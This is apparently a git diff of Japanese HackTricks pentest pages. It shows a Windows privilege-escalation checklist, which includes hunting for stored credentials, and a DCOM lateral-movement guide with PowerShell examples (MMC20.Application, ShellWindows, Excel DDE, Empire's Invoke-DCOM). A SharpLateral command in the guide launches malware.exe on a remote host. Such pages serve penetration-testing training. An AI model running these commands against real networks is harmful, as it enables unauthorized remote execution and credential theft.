- [**ユーザ権限**](windows-local-privilege-escalation/#users-and-groups)は?
|
||||
- 現在のユーザの[**権限**](windows-local-privilege-escalation/#users-and-groups)を確認する
|
||||
- どの特権グループのメンバーですか?[**privileged groups**](windows-local-privilege-escalation/#privileged-groups)を確認する
|
||||
- これらのトークンのいずれかが有効になっているかどうかを確認する:**SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege** ?
|
||||
- [**ユーザセッション**](windows-local-privilege-escalation/#logged-users-sessions)を確認する
|
||||
- [**ユーザのホーム**](windows-local-privilege-escalation/#home-folders)をチェックする(アクセスは?)
|
||||
- [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)は?
|
||||
- [**クリップボードの中身**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は?
|
||||
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
- [ ] **現在の**[**ネットワーク情報**](windows-local-privilege-escalation/#network)を確認する
|
||||
- [ ] 外部に制限された**非表示のローカルサービス**を確認する
|
||||
- 現在の[**ネットワーク情報**](windows-local-privilege-escalation/#network)を確認する
|
||||
- 外部に制限された**非表示のローカルサービス**を確認する
|
||||
|
||||
### [実行中のプロセス](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
- [ ] プロセスのバイナリ[**ファイルおよびフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)を確認する
|
||||
- [ ] [**メモリパスワードの採掘**](windows-local-privilege-escalation/#memory-password-mining)を行う
|
||||
- [ ] [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)を確認する
|
||||
- [ ] `ProcDump.exe`を使用して**興味深いプロセス**から資格情報を盗みますか?(firefox、chromeなど...)
|
||||
- プロセスのバイナリ[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)を確認する
|
||||
- [**メモリパスワードマイニング**](windows-local-privilege-escalation/#memory-password-mining)を行う
|
||||
- [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)を確認する
|
||||
- `ProcDump.exe`を使用して、興味深いプロセスから資格情報を盗むことはできますか?(firefox、chromeなど...)
|
||||
|
||||
### [サービス](windows-local-privilege-escalation/#services)
|
||||
|
||||
- [ ] 任意のサービスを**変更**できますか?[**権限**](windows-local-privilege-escalation#permissions)を確認する
|
||||
- [ ] 任意のサービスが実行する**バイナリ**を**変更**できますか?[**サービスバイナリのパスを変更**](windows-local-privilege-escalation/#modify-service-binary-path)できますか?
|
||||
- [ ] 任意のサービスの**レジストリ**を**変更**できますか?[**サービスレジストリの変更権限**](windows-local-privilege-escalation/#services-registry-modify-permissions)を確認する
|
||||
- [ ] 任意の**引用符のないサービス**バイナリ**パス**を利用できますか?[**引用符のないサービスパス**](windows-local-privilege-escalation/#unquoted-service-paths)を確認する
|
||||
- 任意のサービスを**変更**できますか?[**permissions**](windows-local-privilege-escalation#permissions)
|
||||
- 任意のサービスが実行する**バイナリ**を**変更**できますか?[**modify-service-binary-path**](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
- 任意のサービスの**レジストリ**を**変更**できますか?[**services-registry-modify-permissions**](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
- いずれかの**未クォートされたサービス**バイナリ**パス**を利用できますか?[**unquoted-service-paths**](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**アプリケーション**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
- インストールされたアプリケーションの[**書き込み権限**](windows-local-privilege-escalation/#write-permissions)を確認する
|
||||
- [**起動アプリケーション**](windows-local-privilege-escalation/#run-at-startup)を確認する
|
||||
- **脆弱な**[**ドライバー**](windows-local-privilege-escalation/#drivers)を確認する
|
||||
- [**起動時アプリケーション**](windows-local-privilege-escalation/#run-at-startup)を確認する
|
||||
- **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers)を確認する
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
### [DLLハイジャック](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
* [ ] **PATH**内の**任意のフォルダに書き込めます**か?
|
||||
* [ ] **存在しないDLLを読み込もうとする**既知のサービスバイナリがありますか?
|
||||
* [ ] **バイナリフォルダに書き込めます**か?
|
||||
|
||||
- **PATH内の任意のフォルダに書き込めますか**?
|
||||
- **存在しないDLLを読み込もうとする既知のサービスバイナリ**がありますか?
|
||||
- 任意の**バイナリフォルダ**に**書き込めますか**?
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] ネットワークを列挙する(共有、インターフェイス、ルート、隣接者、...)
|
||||
* [ ] ローカルホスト(127.0.0.1)でリスニングしているネットワークサービスに特に注意する
|
||||
* [ ] ネットワークを列挙します(共有、インターフェース、ルート、隣接者、...)
|
||||
* [ ] ローカルホスト(127.0.0.1)でリスニングしているネットワークサービスに特に注意します
|
||||
|
||||
### [Windowsの資格情報](windows-local-privilege-escalation/#windows-credentials)
|
||||
### [Windows資格情報](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)の資格情報
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)で使用できる資格情報は?
|
||||
* [ ] 興味深い[**DPAPIの資格情報**](windows-local-privilege-escalation/#dpapi)は?
|
||||
* [ ] 保存された[**Wifiネットワーク**](windows-local-privilege-escalation/#wifi)のパスワードは?
|
||||
* [ ] 興味深い情報は[**保存されたRDP接続**](windows-local-privilege-escalation/#saved-rdp-connections)にありますか?
|
||||
* [ ] [**最近実行されたコマンド**](windows-local-privilege-escalation/#recently-run-commands)のパスワードは?
|
||||
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードは?
|
||||
* [ ] [**AppCmd.exe**が存在](windows-local-privilege-escalation/#appcmd-exe)するか?資格情報は?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)は?DLLサイドローディングは?
|
||||
* [ ] 使用できる[**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の資格情報はありますか?
|
||||
* [ ] 興味深い[**DPAPI資格情報**](windows-local-privilege-escalation/#dpapi)はありますか?
|
||||
* [ ] 保存された[**Wifiネットワーク**](windows-local-privilege-escalation/#wifi)のパスワード
|
||||
* [ ] 保存されたRDP接続に関する興味深い情報
|
||||
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワード
|
||||
* [ ] [**AppCmd.exe**が存在](windows-local-privilege-escalation/#appcmd-exe)しますか?資格情報は?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)はありますか?DLLサイドローディングは?
|
||||
|
||||
### [ファイルとレジストリ(資格情報)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **および** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] レジストリにある[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)は?
|
||||
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)にパスワードは?
|
||||
* [ ] いずれかの[**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
|
||||
* [ ] [**クラウドの資格情報**](windows-local-privilege-escalation/#cloud-credentials)は?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルは?
|
||||
* [ ] レジストリ内の[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)
|
||||
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)内のパスワード
|
||||
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
|
||||
* [ ] [**クラウド資格情報**](windows-local-privilege-escalation/#cloud-credentials)は?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイル
|
||||
* [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)は?
|
||||
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)にパスワードは?
|
||||
* [ ] 興味深い情報は[**ウェブログ**](windows-local-privilege-escalation/#logs)にありますか?
|
||||
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)内のパスワード
|
||||
* [ ] [**Webログ**](windows-local-privilege-escalation/#logs)に興味深い情報がありますか?
|
||||
* [ ] ユーザーに[**資格情報を要求**](windows-local-privilege-escalation/#ask-for-credentials)したいですか?
|
||||
* [ ] リサイクルビン内の[**興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか?
|
||||
* [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)は?
|
||||
* [ ] ブラウザデータ(データベース、履歴、ブックマーク、...)内に[**資格情報**](windows-local-privilege-escalation/#browsers-history)はありますか?
|
||||
* [**ファイルとレジストリ内の一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)は?
|
||||
* パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)は?
|
||||
* [ ] リサイクルビン内の興味深い[**ファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか?
|
||||
* [ ] 資格情報を含む他の[**レジストリ**](windows-local-privilege-escalation/#inside-the-registry)は?
|
||||
* [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)内(データベース、履歴、ブックマーク、...)にありますか?
|
||||
* ファイルとレジストリ内での[**一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
|
||||
* パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
||||
|
||||
### [漏洩したハンドラ](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
|
@ -119,4 +127,4 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### [パイプクライアントの擬似化](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] それを悪用できるかどうかを確認する
|
||||
* [ ] それを悪用できるかどうかを確認します
|
||||
|
|
|
@ -2,33 +2,42 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングテクニックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングテクニックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**このテクニックについての詳細情報は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からの元の投稿を参照してください。**
|
||||
**このテクニックについての詳細は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からオリジナルの投稿をご覧ください**
|
||||
|
||||
分散コンポーネントオブジェクトモデル(DCOM)オブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object Model(COM)の包括的なドキュメントを提供しており、[DCOMの場合はこちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)、[COMの場合はこちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) でアクセスできます。PowerShellコマンドを使用して、DCOMアプリケーションのリストを取得できます:
|
||||
|
||||
分散コンポーネントオブジェクトモデル(DCOM)オブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object Model(COM)の包括的なドキュメントを提供しており、[DCOMの場合はこちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)、[COMの場合はこちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)でアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Check it running:
|
||||
COMオブジェクト、[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには、`Document.ActiveView`の下に`ExecuteShellCommand`メソッドが含まれています。このメソッドに関する詳細情報は[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で確認できます。次のコマンドを実行して確認してください:
|
||||
|
||||
This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
|
||||
この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順で行われます:
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順を含みます:
|
||||
|
||||
メソッドのチェック:
|
||||
メソッドの確認:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
|
@ -46,14 +55,14 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**この技術についての詳細は、元の投稿を参照してください [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスを許可する権限にデフォルトで設定されています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを参照し、[@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET を使用して、明示的な Launch Permission がないオブジェクトをフィルタリングすることが推奨されています。
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスを許可する権限にデフォルトで設定されています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを参照し、[@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用を推奨します。明示的な Launch Permission がないオブジェクトをフィルタリングするために。
|
||||
|
||||
`ShellBrowserWindow` と `ShellWindows` という2つの特定のオブジェクトが、明示的な Launch Permissions が不足しているために強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しない場合、明示的な権限がないことを示します。
|
||||
|
||||
### ShellWindows
|
||||
`ShellWindows` の場合、ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能となり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。
|
||||
`ShellWindows` には ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能となり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。
|
||||
|
||||
PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するためのコマンドが提供されました:
|
||||
PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するコマンドが提供されました:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
@ -62,9 +71,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Excel DCOMオブジェクトを使用した横方向移動
|
||||
|
||||
DCOM Excelオブジェクトを悪用することで、横方向移動が実現できます。詳細な情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でExcel DDEを介したDCOM経由の横方向移動に関する議論を読むことをお勧めします。
|
||||
DCOM Excelオブジェクトを悪用することで、横方向移動を実現することができます。詳細な情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でExcel DDEを介したDCOM経由の横方向移動に関する議論を読むことをお勧めします。
|
||||
|
||||
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行(RCE)を実証するPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)のスクリプトからのスニペットです。
|
||||
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することによるリモートコード実行(RCE)の実証を示すPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)のスクリプトからのスニペットです:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -87,38 +96,44 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
### レータル移動のための自動化ツール
|
||||
### レータルムーブメントのための自動化ツール
|
||||
|
||||
これらのテクニックを自動化するために2つのツールが強調されています:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。
|
||||
|
||||
- **SharpLateral**: リモートでコードを実行するために設計されたツールで、次のコマンドと共に使用できます:
|
||||
- **SharpLateral**: コードをリモートで実行するために設計されたツールで、次のコマンドと共に使用できます:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## 自動ツール
|
||||
|
||||
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント済み方法を簡単に呼び出すことができます。
|
||||
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。
|
||||
* [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue